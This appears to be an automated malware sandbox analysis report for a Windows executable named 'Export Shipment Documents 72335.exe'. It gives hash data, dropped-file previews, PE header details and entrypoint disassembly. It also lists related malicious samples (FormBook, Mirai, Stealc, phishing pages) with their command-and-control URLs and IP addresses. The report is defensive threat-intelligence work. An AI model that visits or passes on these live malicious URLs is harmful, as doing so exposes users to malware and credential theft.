                                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                        13.248.252.114yGktPvplJn.exeGet hashmaliciousPushdoBrowse
                                                                                                                                                                                                        • www.otena.com/
                                                                                                                                                                                                        Hesap-hareketleriniz10-15-2024.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                        • www.x100.shop/lmyl/
                                                                                                                                                                                                        nowe zam#U00f3wienie zakupu pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                        • www.haad.xyz/gy15/?Jzu4_4g8=tS7XDXagEYCp+IvwtxttFu0kVm62xbY7n6AB3WFnLEY2Jzf49n5Rka2m9sWU6BnGWI5LVxVSuQ==&D4f8T=gR-h6PA8GRBT24
                                                                                                                                                                                                        Hesap-hareketleriniz.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                        • www.x100.shop/lmyl/
                                                                                                                                                                                                        z19novaordemdecomprapdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                        • www.haad.xyz/gy15/?EfBL9Jzh=tS7XDXagEYCp+IvwtxttFu0kVm62xbY7n6AB3WFnLEY2Jzf49n5Rka2m9sWtlwHFYelMVxVV9g==&lhVXUr=SzuhdD
                                                                                                                                                                                                        document.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                        • www.loto.app/t94g/?mf2P2V3=4sROPfEFgkd7Wp2K4kCTao+1gFhewBDkWmjLd1sLZ8/tD4v8bqrW0heZ+GRLAydVd1D1&lTH=6lSDPBppf
                                                                                                                                                                                                        RN# D7521-RN-00353 REV-2.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                        • www.x100.shop/uaxy/
                                                                                                                                                                                                        eMoS6hG54p.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                        • www.sugar.monster/btrd/?PL=DFLc6WhW1vGlnOW+capYe6mLWI9O8upQQ7C5rHScbdMdsZVFYuVLH6K+g5dGjdXgwMye&QZ0=fjlpir7xm81xV2
                                                                                                                                                                                                        NtpNaYQXp7.htaGet hashmaliciousCobalt Strike, FormBookBrowse
                                                                                                                                                                                                        • www.mirror.live/j62t/?GtC=e9n9aTQgLhZSYZ0YgH60GEJfLu+31/AeuBWAEpWZ4Lb12T/KSBdyt+DNUsgVktYSdVpM&Grk=W6A8IjSX8xTh-

                                                                                                                                                                                                        Domains

                                                                                                                                                                                                        ⊘No context

                                                                                                                                                                                                        ASNs

                                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                        AMAZON-02UShttps://fce0.com/vn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/Get hashmaliciousHTMLPhisher, Mamba2FABrowse
                                                                                                                                                                                                        • 18.245.31.33
                                                                                                                                                                                                        Salary_Structure_Benefits_for_KchaneyIyNURVhUTlVNUkFORE9NMTkjIw== copy.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        • 13.33.187.68
                                                                                                                                                                                                        file.exeGet hashmaliciousStealc, VidarBrowse
                                                                                                                                                                                                        • 3.168.2.115
                                                                                                                                                                                                        https://email.email.pandadoc.net/c/eJxUkMtu2zoQhp9G3NngTeRowYVzfBggLgr0jnYTDMmRw1imFIm2ET99YaDpZTcYzDf4_j-5YFTogaUxno5U6mNO7vBpPu8_Qjtn233vjPaHL2UbGDlhZQdGA3D25CwqECHxQCRtUKDBEqYowFBHIAzLTnKpBZet0FyIbh36NsUUZbSRWq6o0ZyOmIf1hCVhGuO6UGV5eawzRsIwkKvzidjgnmqdlkZtGukb6XGa_iBxPDbSv-k30p9lo3wdD1QatTUJJEohlFBchxhBckADPJi-N1FZ3iloNeeN8qyMNfc5Ys1judUQjU1gwK5EC2qllcEVWuSrLoChCMIK0bJx3mPJ19_Q6xTN6_Zu96Pc7y6XXfCBdt0HNrv0PBZaGs3DaTjQy2mYbupspnNefrFYvM3J35vc35X37_6zGK5f_2fVvaX7a1xVnPf0z2a5XZydZJdxPiwTRro9fX4wlOTmAb-lz_0effAv103-GQAA__9hXKLJGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        • 52.89.236.116
                                                                                                                                                                                                        la.bot.arm6.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        • 54.171.230.55
                                                                                                                                                                                                        https://startuppro.wethemez.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPVVXdzRVWEk9JnVpZD1VU0VSMjExMDIwMjRVNTIxMDIxNTI=N0123Get hashmaliciousHTMLPhisher, Mamba2FABrowse
                                                                                                                                                                                                        • 18.245.31.33
                                                                                                                                                                                                        Sars Urgent Notice.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        • 13.35.58.60
                                                                                                                                                                                                        la.bot.sh4.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                        • 35.159.76.1
                                                                                                                                                                                                        la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        • 18.203.121.224
                                                                                                                                                                                                        la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        • 3.12.143.233

                                                                                                                                                                                                        JA3 Fingerprints

                                                                                                                                                                                                        ⊘No context

                                                                                                                                                                                                        Dropped Files

                                                                                                                                                                                                        ⊘No context

                                                                                                                                                                                                        Created / dropped Files

                                                                                                                                                                                                        C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Explorer.EXE_fe8167436d6db6c6d2c4bed5d6f2d2c06e142845_f78a65ed_688ef81c-3112-4aa5-919d-bbcba7e35c47\Report.wer

                                                                                                                                                                                                        Download File
                                                                                                                                                                                                        Process:C:\Windows\System32\WerFault.exe
                                                                                                                                                                                                        File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                        Size (bytes):65536
                                                                                                                                                                                                        Entropy (8bit):2.255388251760415
                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                        SSDEEP:384:YMCmLrEaJajA2at2gCR0CP2MzuiFLY4lO8k:YMvrEaJajCtpw0Q2MzuiFLY4lO8
                                                                                                                                                                                                        MD5:8BA634535CCC8DB3675281435F7CA329
                                                                                                                                                                                                        SHA1:3D9B55A8AF563FCCB10ABBD0F55DF872E2A10452
                                                                                                                                                                                                        SHA-256:198E1816EA1143F16EDA6BBBEB7E5E831B528D7A8A2C2BF10C703C912A1DA464
                                                                                                                                                                                                        SHA-512:D0BBB152CDE3AD260EEC6BCC2324E9B55084ABD6930973E651621FB5328E73EBE7811FAED129DBC6785EBA5468EC2870B44E789128EEBB18BAC24FBE277D9344
                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                        Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.5.9.4.8.1.3.0.3.1.0.7.4.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.F.l.a.g.s.=.5.2.4.2.8.8.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.8.8.e.f.8.1.c.-.3.1.1.2.-.4.a.a.5.-.9.1.9.d.-.b.b.c.b.a.7.e.3.5.c.4.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.1.6.a.1.1.f.1.-.3.e.6.3.-.4.a.7.c.-.8.2.e.c.-.b.5.a.b.8.c.6.f.e.a.e.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.E.x.p.l.o.r.e.r...E.X.E.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.E.X.P.L.O.R.E.R...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.f.4.-.0.0.0.1.-.0.0.1.4.-.5.f.f.8.-.4.1.4.5.2.a.2.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.9.0.b.0.8.0.e.0.6.5.5.7.2.0.c.a.d.8.c.1.c.a.e.4.b.8.1.9.3.c.9.3.8.2.c.9.a.c.9.2.!.e.x.p.l.o.r.e.r...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.0.2././.1.2././.2.1.:.2.0.:.5.

                                                                                                                                                                                                        C:\ProgramData\Microsoft\Windows\WER\Temp\WERE45D.tmp.dmp

                                                                                                                                                                                                        Download File
                                                                                                                                                                                                        Process:C:\Windows\System32\WerFault.exe
                                                                                                                                                                                                        File Type:Mini DuMP crash report, 17 streams, Mon Oct 28 13:13:34 2024, 0x1205a4 type
                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                        Size (bytes):1023896
                                                                                                                                                                                                        Entropy (8bit):1.3887769052025134
                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                        SSDEEP:1536:d9yex2kGsWkIgtK3Ec9fg6lcnTalDzG25FfcUKvJyY4EK:d9yex2kGsWFgtKjcnTCG9nv
                                                                                                                                                                                                        MD5:6743AC6EB9B0A237F17029BF95607DB4
                                                                                                                                                                                                        SHA1:75354C609C8A9BF004A0C7DD61C476E19A80E6CC
                                                                                                                                                                                                        SHA-256:5C8636B2050352B11FBBDE8FD1C7AEFC28B45E8C6F07A9AC2987C540FD34ADBC
                                                                                                                                                                                                        SHA-512:65C1914DF93F3312BB40B7BA9E301EC39C2F181590C47136FE032C6E693B0D16D0CA5C010B9194D0CE561E138C8F73AC7EC0D0BEE6FB54175012960B89E03B4E
                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                        Preview:MDMP..a..... ..........g............$... .......Tj..P.......d....~..................................x.......8...........T...$........Q...M.................................P...............................................................................eJ......l.......Lw......................T............q.g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...............................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                        C:\ProgramData\Microsoft\Windows\WER\Temp\WEREA4A.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                        Download File
                                                                                                                                                                                                        Process:C:\Windows\System32\WerFault.exe
                                                                                                                                                                                                        File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                        Size (bytes):10844
                                                                                                                                                                                                        Entropy (8bit):3.6978869979640536
                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                        SSDEEP:192:R6l7wVeJCNm6YSvv2gmfqzVsHdpr+89bKm+PWSfNum:R6lXJ4m6YC2gmfqzVsXKHPWSf9
                                                                                                                                                                                                        MD5:E9590BF3ED7534FBD6B81B68C60642C2
                                                                                                                                                                                                        SHA1:E8EA8C80467A78D0561B44B3FAAEC4DC8C32C3B8
                                                                                                                                                                                                        SHA-256:2E120EF7341807A2C8B6AB6F9E789A2F05E2077BDF2897D9F0ED305B692C9A69
                                                                                                                                                                                                        SHA-512:08489A1F18F64C3537FAA298C11E28EAA8CE153CA831660CE79541F5FC9B33C0EB6B6BE81579F0CA4C409A0C8734B1251F41965499A0AD9088C0A830F6DE4B12
                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                        Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.0.8.4.<./.P.i.

                                                                                                                                                                                                        C:\ProgramData\Microsoft\Windows\WER\Temp\WEREA8A.tmp.xml

                                                                                                                                                                                                        Download File
                                                                                                                                                                                                        Process:C:\Windows\System32\WerFault.exe
                                                                                                                                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                        Size (bytes):4724
                                                                                                                                                                                                        Entropy (8bit):4.463549025152908
                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                        SSDEEP:48:cvIwWl8zsjJg771I9MPWpW8VYX0Ym8M4JYmF+uyq85cdceb9Q32d:uIjf9I7Xe7VMJGunba32d
                                                                                                                                                                                                        MD5:9513AB62D92C0DEFB2F04FF2834A1CF9
                                                                                                                                                                                                        SHA1:D1654F2D0750B54F4E8C669D0DCC73ACA196701F
                                                                                                                                                                                                        SHA-256:A9490918DAD673C759A8295968813951FD2CE67B2A5BCCD033ED14D1D61E1E6C
                                                                                                                                                                                                        SHA-512:B6CF8CBD41380FA563CB735F9842FF4D7DCA1FCC0622CB2BDA42E656DB5D44A9089C8D1BC91A17D9362C0632654FC59E5670999CA040F218836AE3539B361976
                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                        Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="563296" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db

                                                                                                                                                                                                        Download File
                                                                                                                                                                                                        Process:C:\Windows\explorer.exe
                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                        Size (bytes):107416
                                                                                                                                                                                                        Entropy (8bit):4.000823201611915
                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                        SSDEEP:768:Bl8ckJGBqXWRjk0QsVWohPN+LxKNCjBlzTPieb6PR1vPVchJd5m5oypQqW3/gShS:DkoqoVWohIxeJShOihGxnlVEFOfKaT
                                                                                                                                                                                                        MD5:B760F097C1F588A3EC7C5D621292D97D
                                                                                                                                                                                                        SHA1:77B8CE1DDFBF9A68B3682E3704C78A818A9B16E4
                                                                                                                                                                                                        SHA-256:C88FE2599962B077DFC97ADEC9EA5D0EBEF4BD912B0036340897AFEFAF278621
                                                                                                                                                                                                        SHA-512:3685B043A3F771BF55BC1A88F1EF4333D61AB67BC48CC65770AD65FB0779E9892C2FEFDAF4464CEBB94C90AA03D559D6C7033AAD844035F66C33481D14A2A5F4
                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                        Preview:....h... .......`.......P...........`...X.......]...................8...V.......e.n.-.C.H.;.e.n.-.G.B..............................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................h.u.b.e.r.t.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u......................(..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>...........................................

                                                                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

                                                                                                                                                                                                        Download File
                                                                                                                                                                                                        Process:C:\Windows\explorer.exe
                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                        Size (bytes):107416
                                                                                                                                                                                                        Entropy (8bit):4.0010520008467845
                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                        SSDEEP:768:Gl82kEGBqXWRjk0QsVWohPN+LxKNCjBlzTPieb6PR1vPVchJd5m5oypQqW3/gSh4:okTqoVWohIxeJShOihGxnlVEFOfKax
                                                                                                                                                                                                        MD5:5C166F26674A5939E787059F24DA5ECE
                                                                                                                                                                                                        SHA1:1FDF0D73338A81403FA4C0D0A4E01FC8D8B3A614
                                                                                                                                                                                                        SHA-256:2492BD9FE160F26BA1F4C810964027C25642A016F75CC40831DC1250EAAA6C23
                                                                                                                                                                                                        SHA-512:4E0A7A5EA371C486222FEB4A9D4AD769CBD8B5D488317BC0278CF1F85E257A08B017880D333A965722943869E0F90219DE60E090A3E640FF3BA1340A1F9C56F5
                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                        Preview:....h... .......`.......P...........`...X.......]...................8...V.......e.n.-.C.H.;.e.n.-.G.B..............................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................h.u.b.e.r.t.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u......................(..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>...........................................

                                                                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\Windows[2].json

                                                                                                                                                                                                        Download File
                                                                                                                                                                                                        Process:C:\Windows\explorer.exe
                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                        Size (bytes):784
                                                                                                                                                                                                        Entropy (8bit):5.160561701210604
                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                        SSDEEP:12:YWgc2XyH+Y6DmwIH+2yrZMAdrKC8K/y8kEhq1HLxycXNNZ/TCB8Qxc3Z:Yzc2CHXkIHt0drc6hE10g
                                                                                                                                                                                                        MD5:3C371CED18140F5DAD17C44090E8828E
                                                                                                                                                                                                        SHA1:C9E17628883105722FAEDA0E5853BA1AA5495444
                                                                                                                                                                                                        SHA-256:C4FB0B944B7D2CF8F3F64BDA8C1A4D9AE846139C199F60231E6237D09A9A8479
                                                                                                                                                                                                        SHA-512:EC6AC7A5BCC56415B0E5564C765A797C73F16B4DA221992C1D86E24549EF2850581EF21DFD5F0B48E503AF8A9CAE49266519E30D69D8C055CF96CF8BA6F8B95D
                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                        Preview:{"serviceContext":{"serviceActivityId":"2b8d3461-94a1-4792-83a4-58a36743ea31","responseCreationDateTime":"0001-01-01T00:00:00","debugId":"2b8d3461-94a1-4792-83a4-58a36743ea31|2024-10-28T13:13:43.1379888Z|fabric_msn|EUS2-A|News_838"},"expirationDateTime":"0001-01-01T00:00:00","showBadge":false,"settings":{"refreshIntervalMinutes":0,"feedEnabled":true,"evolvedNotificationLifecycleEnabled":false,"showBadgeOnRotationsForEvolvedNotificationLifecycle":false,"webView2Enabled":false,"webView2EnabledV1":false,"windowsSuppressClientRace":false,"flyoutV2EndpointEnabled":false,"showAnimation":false,"useTallerFlyoutSize":false,"useDynamicHeight":false,"useWiderFlyoutSize":false,"reclaimEnabled":false,"isPreviewDurationsEnabled":false,"1SlockscreenContentEnabled":true},"isPartial":false}

                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\parters

                                                                                                                                                                                                        Download File
                                                                                                                                                                                                        Process:C:\Users\user\Desktop\Export Shipment Documents 72335.exe
                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                        Size (bytes):189440
                                                                                                                                                                                                        Entropy (8bit):7.849277079115185
                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                        SSDEEP:3072:2tDfZNAXjJmnYcqgcs3qz23R04H+dzVfjkxKD0Pu9ZHt0ywmol:CNATgYcqkm23R0zdFjkxKA2Ht4l
                                                                                                                                                                                                        MD5:FC02BA7254551CB8BC60A8B973D05E11
                                                                                                                                                                                                        SHA1:D4380BC662BDB2FC65FDE505D69E32A7F5C999CC
                                                                                                                                                                                                        SHA-256:2D28493033B76F58BFEA4CEFD613C520F9FB5CC3AB435372926BE98E26060859
                                                                                                                                                                                                        SHA-512:885D1CD0DDA4A1EDF25B3D8DD4A6CC154BAF42781B4E0D14BA450C57C09FB91D90DF3E503E0D6FD48D0383B42049126674AD3F5F055348F5D04BD5833A425C9C
                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                        Preview:.j.a.Q6TY...?.....3B...qJ^...C7V0W3AQ6TYIV26OC7V0W3AQ6TYIV2.OC7X/.=A.?.x.W~.n._?CwC3>Q&8$vQW!-X".5Va#C:y 8.r...;_3Vo\;^}IV26OC7.._..P..0...%..0....P.I....%..0....P.. 5Z..%.V0W3AQ6TYIV26OC7.uW3.P7T~..~6OC7V0W3.Q4URH\26.A7V0W3AQ6T..W26_C7V.U3AQvTYYV26MC7S0V3AQ6T\IW26OC7V.U3AS6TYIV24O..V0G3AA6TYIF26_C7V0W3QQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6Tw=3JBOC7..U3AA6TY.T26_C7V0W3AQ6TYIV2.OCWV0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6TYIV26OC7V0W3AQ6T

                                                                                                                                                                                                        Static File Info

                                                                                                                                                                                                        General

                                                                                                                                                                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                        Entropy (8bit):7.337492101162053
                                                                                                                                                                                                        TrID:
                                                                                                                                                                                                        • Win32 Executable (generic) a (10002005/4) 95.11%
                                                                                                                                                                                                        • AutoIt3 compiled script executable (510682/80) 4.86%
                                                                                                                                                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                        • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                        File name:Export Shipment Documents 72335.exe
                                                                                                                                                                                                        File size:1'092'621 bytes
                                                                                                                                                                                                        MD5:27a6e3019a7a5a253389de68dd9afda9
                                                                                                                                                                                                        SHA1:1da9db209c723c15e687712ac20d5f334f74dcd8
                                                                                                                                                                                                        SHA256:91123f6fc1ac1580e1e358365eb9b10a5137cc96ea7039a284d3926923aed4a3
                                                                                                                                                                                                        SHA512:d84e3673df2d5461096588bee2aa1560481eef22d382df3ab8dcc69c19cabfd6b6c5a923c0774be5c6f60dc55cf4399d0dcab51f58681dcd0eb9be43b8bef24e
                                                                                                                                                                                                        SSDEEP:12288:rLkcoxg7v3qnC11ErwIhh0F4qwUgUny5QLNSmkVXjTv5dzDkKpES4bOqXk8YCVBD:ffmMv6Ckr7Mny5QL4XV3BdJpH4lYCDD
                                                                                                                                                                                                        TLSH:C235E112F7D680B6D9A33971293BE32BEB3575194323C48BA7E02F769E111409B3B761
                                                                                                                                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

                                                                                                                                                                                                        File Icon

                                                                                                                                                                                                        Icon Hash:1733312925935517

                                                                                                                                                                                                        Static PE Info

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Entrypoint:0x416310
                                                                                                                                                                                                        Entrypoint Section:.text
                                                                                                                                                                                                        Digitally signed:false
                                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                                        Subsystem:windows gui
                                                                                                                                                                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                                                                                                                                        DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                                                                                                                        Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                                                                                                                                                                                                        TLS Callbacks:
                                                                                                                                                                                                        CLR (.Net) Version:
                                                                                                                                                                                                        OS Version Major:5
                                                                                                                                                                                                        OS Version Minor:0
                                                                                                                                                                                                        File Version Major:5
                                                                                                                                                                                                        File Version Minor:0
                                                                                                                                                                                                        Subsystem Version Major:5
                                                                                                                                                                                                        Subsystem Version Minor:0
                                                                                                                                                                                                        Import Hash:aaaa8913c89c8aa4a5d93f06853894da

                                                                                                                                                                                                        Entrypoint Preview

                                                                                                                                                                                                        Instruction
                                                                                                                                                                                                        call 00007F02D4BD68ACh
                                                                                                                                                                                                        jmp 00007F02D4BCA67Eh
                                                                                                                                                                                                        int3
                                                                                                                                                                                                        int3
                                                                                                                                                                                                        int3
                                                                                                                                                                                                        int3
                                                                                                                                                                                                        int3
                                                                                                                                                                                                        int3
                                                                                                                                                                                                        push ebp
                                                                                                                                                                                                        mov ebp, esp
                                                                                                                                                                                                        push edi
                                                                                                                                                                                                        push esi
                                                                                                                                                                                                        mov esi, dword ptr [ebp+0Ch]
                                                                                                                                                                                                        mov ecx, dword ptr [ebp+10h]
                                                                                                                                                                                                        mov edi, dword ptr [ebp+08h]
                                                                                                                                                                                                        mov eax, ecx
                                                                                                                                                                                                        mov edx, ecx
                                                                                                                                                                                                        add eax, esi
                                                                                                                                                                                                        cmp edi, esi
                                                                                                                                                                                                        jbe 00007F02D4BCA80Ah
                                                                                                                                                                                                        cmp edi, eax
                                                                                                                                                                                                        jc 00007F02D4BCA9AAh
                                                                                                                                                                                                        cmp ecx, 00000100h
                                                                                                                                                                                                        jc 00007F02D4BCA821h
                                                                                                                                                                                                        cmp dword ptr [004A94E0h], 00000000h
                                                                                                                                                                                                        je 00007F02D4BCA818h
                                                                                                                                                                                                        push edi
                                                                                                                                                                                                        push esi
                                                                                                                                                                                                        and edi, 0Fh
                                                                                                                                                                                                        and esi, 0Fh
                                                                                                                                                                                                        cmp edi, esi
                                                                                                                                                                                                        pop esi
                                                                                                                                                                                                        pop edi
                                                                                                                                                                                                        jne 00007F02D4BCA80Ah
                                                                                                                                                                                                        pop esi
                                                                                                                                                                                                        pop edi
                                                                                                                                                                                                        pop ebp
